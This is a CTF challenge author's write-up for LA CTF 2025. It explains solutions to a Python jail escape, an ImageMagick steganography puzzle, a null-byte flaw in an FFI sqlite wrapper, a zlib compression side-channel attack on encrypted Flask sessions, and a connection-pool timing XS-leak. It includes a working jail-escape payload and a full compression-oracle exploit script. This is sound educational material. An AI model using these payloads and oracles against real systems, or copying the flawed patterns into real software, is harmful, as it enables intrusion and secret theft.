# LA CTF 2025 Author Writeups Hi! I'm [r2uwu2](https://github.com/r2dev2) from [PBR | UCLA](https://pbr.acmcyber.com). This is the second LA CTF I have written challenges for. This year, I primarily wrote web and a few misc challenges. Here are some writeups for the harder challenges I wrote. [toc] ## Misc ### Farquaad ![ui](https://i.imgur.com/86vclYB.png) > Today, we're taking a journey to the Kingdom of Far Far Away. It is a special day, for Lord Farquaad is executing today! I made a pyjail where you are restricted to: * an `eval` context * no builtins * no "e" * ascii printable characters This challenge is a bit tricky because certain key attributes we use in pyjails are banned (like `__base__` and `__subclasses__`). The key realizations to solve this challenge are: * `().__class__.__mro__[1]` can be used instead of `__base__` to retrieve `object` * `object.__dict__["getattr"]` can be used to retrieve `getattr` Once we have `getattr`, we can get any attribute on any object because we can use `"\x65"` to represent `"e"` in a string argument to `getattr`. My final solve: ```python (o := ().__class__.__mro__[1], g := o.__dict__["__g\x65tattribut\x65__"], g(g(o, "__subclass\x65s__")()[138].__init__.__builtins__["op\x65n"]("flag.txt"), "r\x65ad")())[-1] ``` ### Mikumikubeam ![mikubeam](https://raw.githubusercontent.com/sammwyy/MikuMikuBeam/refs/heads/main/public/miku.gif) > Miku miku beaaammmmmmmmmmmmmmmmm This challenge is a steganography challenge using [imagemagick's stegano operator](https://usage.imagemagick.org/transform/#stegano). To encode a message using its operator, we first generate a `message.gif` image with the text to hide. We can then run `magick composite message.gif original_image.png -stegano +<x-offset>+<y-offset> stegimage.png` to hide the message at a random offset. Using our script, the size of `message.gif` is also random. With challenges providing source, the first thing we should do is understand how the steganography works. I found the [imagemagick code for stegano operator](https://github.com/ImageMagick/ImageMagick/blob/d5893469086f32d747f6a3c7c23c472605b08a4d/MagickCore/visual-effects.c#L2473) and started reading through it. If you follow the usage of `stegano_image->offset` (the offset parameter in the create command), the offset works by starting our steg `<offset>` pixels into the image. In fact, when I say `<offset>`, I more accurately mean `<x-offset>` as `<y-offset>` is not used at all by imagemagick (try decrypting an image with one offset using a different `<y-offset>`). This means that we can get `<x-offset>` through flattening the difference in `mikumikusteg.png` and `mikumikubeam.png` and finding the first red pixel. Now that we have our offset, we need to guess the image width and height or we will decode the image to gibberish. There is one core realization we can make. ![difference](https://hackmd.io/_uploads/BJ2DPY8F1e.png) If we were to use a small image size and look at the difference between steg and original image, only a certain fraction of the image will be filled with red. In fact, if we flatten the image and take the difference between the index of the last red and the first red (call it `redrange(diff)`), we can find the relation `redrange(diff) / prod(msgdims) = 16` (it may go down slightly as the message size increases relatively to the original image dimensions). As we can find `redrange(diff)`, we can find the product of the message dimensions. Using this product, we can brute force what the dimensions are by generating pairs of `(width, height)` (there should only be `100-200` such images). We can prune the generated images for the correct size using CV techniques. I chose to analyze the FFT. If we extract a message from `mikumikusteg.png`, transpose the image, then take the FFT, there is a peak at `frequency[xdim]` with a magnitude corresponding roughly to the quality of the message. ![image](https://hackmd.io/_uploads/ry-8htLYkg.png) > output from my FFT-based classifier ![image](https://hackmd.io/_uploads/HJsF2tLKkx.png) > I added 1 to my width to compensate for the horizontal skew. While it isn't exactly the utilized dimensions, vertical skew is easy to read. Solve script: TODO - check archive ## Web ### Arclbroth ![arc](https://i.imgur.com/6psI9Fl.png) > I heard Arc'blroth was writing challenges for LA CTF. Wait, is it arc'blroth or arcl broth? > 39 solves / 369 points Arclbroth is an _experience_ where you can brew arcs to form broth (inspired by my teammate [Arc'blroth](https://bulr.boo)). There are no vulnerabilities directly in the handout. It is all secure sqlite queries. However, the library [secure-sqlite](https://github.com/riverofspring/secure-sqlite/) is interesting. That library was actually created by my teammate [Kevin](https://github.com/riverofspring) as part of a [club project](https://www.acmcyber.com/blog/2024-06-03-spring-2024-sqlite-lab) to make an FFI wrapper for `sqlite` utilizing template string literals. While there were a few issues in the library (such as binding `double` to `int` and `int` to `double`), the main vulnerability to exploit is the handling of strings. In nodejs, strings may have null bytes in them due to its string representation. However, in C, strings are terminated by a null byte. In the FFI to the C-interface exported by `sqlite`, we do not properly handle this. This allows us to register with a username of `"admin\0owo"`. While this is stored correctly in the database, when we parse the retrieved results we get `"admin"` as the c-string is terminated by `"\0"`. Since we give 100 arcs to anyone named `"admin"`, we can get 100 arcs and brew the flag broth. ``` lactf{bulri3v3_it_0r_n0t_s3cur3_sqlit3_w4s_n0t_s3cur3} ``` ### Whack a Mole ![mole whacking](https://hackmd.io/_uploads/S1O_35LKyl.png) > Whackers! > 10 solves / 463 points Whack a mole is a flask app utilizing an encrypted flask session. The flag is in the encrypted session and the objective is to exfiltrate the flag. The core realization to this challenge is that flask sessions will be `zlib`-compressed if it reduces the size of the cookie. This compression is applied to the json-encoded cookie as a whole. Unfortunately for whack-a-mole, this provides us a side channel vector. If we manage to put in a part of the flag into the session cookie, the cookie will compress better than if the flag substring was not in the cookie. This will result in the cookie being shorter in length, which we can detect in the encrypted cookie through playing with padding. Solve: ```python= import string import requests from tqdm import tqdm base = "https://whack-a-mole.chall.lac.tf/" url = lambda end: f"{base.rstrip('/')}{end}" alpha = string.ascii_letters + string.digits + "{}_" rng = "q3aUrDpfmRzMzABTCILvXCOA3Us" s = requests.Session() def get_len(guess): r = s.post( url("/login"), data={"username": guess, "funny": "0"}, allow_redirects=False, ) sess = s.cookies["session"] return len(sess) prefix = "lac" block_size = 16 padrange = [*range(block_size)] while "}" not in prefix: for pad in [*padrange]: owos = [] for ch in alpha: guess = (prefix + ch) * block_size guess = guess + rng[:pad] owos.append((get_len(guess), ch)) owos.sort() if owos[0][0] != owos[1][0]: prefix += owos[0][1] padrange.sort(key=lambda x: -1 if x == pad else x) break print(prefix) ``` ``` lactf{wh4ck_1_m0l3_1_m0r3_sh4ll_t4k3_it5_pl4c3} ``` ### Chessbased/Gigachessbased Chessbased: > Me: Mom, can we get chessbase? > > Mom: No, we have chessbase at home. > > Chessbase at home: > 247 solves / 265 points Gigachessbased: > I was too focused on the trap, I forgot about the cheese. > 2 solves / 495 points Chessbased is a web application for browsing chess openings (inspired by ChessBase). There exist no injection vulnerabilities in this client-side challenge. It was intended to be my hardest web challenge for this CTF, so you can imagine my surprise when I saw 2 solves on this challenge within 30 minutes of the CTF's release. The backend code is as below (all openings are free except the flag opening which is premium). ```javascript=22 app.get('/render', (req, res) => { const id = req.query.id; const op = lookup.get(id); res.send(` <p>${op?.name}</p> <p>${op?.moves}</p> `); }); app.post('/search', (req, res) => { if (req.headers.referer !== challdomain) { res.send('only challenge is allowed to make search requests'); return; } const q = req.body.q ?? 'n/a'; const hasPremium = req.cookies.adminpw === adminpw; for (const op of openings) { if (op.premium && !hasPremium) continue; if (op.moves.includes(q) || op.name.includes(q)) { return res.redirect(`/render?id=${encodeURIComponent(op.name)}`); } } return res.send('lmao nothing'); }); ``` Oops, I got too lost in the sauce and forgot to add authentication on `/render`. Most people solved chessbase through using this vulnerability and going to `/render?id=flag`. ![flag](https://hackmd.io/_uploads/Bkclg58tJe.png) After a few angry pings by [aplet123](https://aplet.me/), I quickly added authentication and released gigachessbased. Now, the fun begins :smiling_imp:. Looking at the frontend (svelte using svelte-spa-router), there's not much to work with. It is just a search page which looks at the query string (from the hash-based spa routing) and performs an api call to the `/search` endpoint. ```html= <script> import { push, querystring } from 'svelte-spa-router'; let searchResult = ''; $: query = new URLSearchParams($querystring).get('q') ?? 'n/a'; $: inputQuery = query; const api = import.meta.env.MODE === 'development' ? end => `http://localhost:3000${end}` : end => end; const search = async (query) => { searchResult = await fetch(api('/search'), { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ q: query }) }).then(r => r.text()).catch(err => err); }; $: search(query); const onSubmit = () => { push(`/search?q=${encodeURIComponent(inputQuery)}`); }; </script> <main> <h1>Chessbased</h1> <p>Welcome to chessbased, enter an opening to search in our chess opening explorer!</p> <form on:submit|preventDefault={onSubmit}> <label> Opening: <input type="text" bind:value={inputQuery}> </label> <input type="submit" value="go"> </form> <div class="search-result"> {@html searchResult} </div> </main> ``` We don't get any injections into the frontend and the only thing we can really control is the url of the page. This is where the first part of the solution comes in: If we have a site with below javascript code, ```javascript const w = window.open('<gigachessbased>'); ``` we can use `w.location.replace('<gigachessbased>#/search?q=something')` to cause gigachessbased to re-perform the search without reloading the full page. This will happen because gigachessbased uses hash-based routing (like gmail) and changing the hash just results in a `hashchange` event that svelte-spa-router handles by updating `$querystring`, causing a search. Now that we have a way to trigger a search on gigachessbased from a website we control, we can try to identify potential cross-site leaks (xs-leaks). If we stare at the backend for a bit, we can notice that a successful search results in a redirect response rendering the opening while an unsuccesful search request returns a failure message directly. > Side note: There exists a side channel to detect redirects through abusing the 20-redirect limit. If we make a page that redirects 19 times to itself and then to the target page, the page will load if the target has no redirect and will fail to load if there is a redirect. We cannot use this side channel because I check the referer header. We can actually detect cross-site whether a redirect happened or not without the classic redirect oracles. If we dive into the HTTP protocol, retrieving the result of a redirect response uses two requests, while a simple response uses one request. <img src="https://hackmd.io/_uploads/SkLRw5LFyl.png" alt="timing diagram" height="300"> > Above is what your browser is doing when the search hits. If the search missed, then only the first 2 arrows happen. This will cause a successful search to take 2x the amount of time as an unsuccessful search. We can utilize a [connection pool](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) xs-leak to detect this minor difference. We can use this substring oracle to start from `lactf{` and repeatedly brute force the next character until we get the flag `lactf{4ll_int3nded_fr_fr}`. Solve script: TODO - link to archive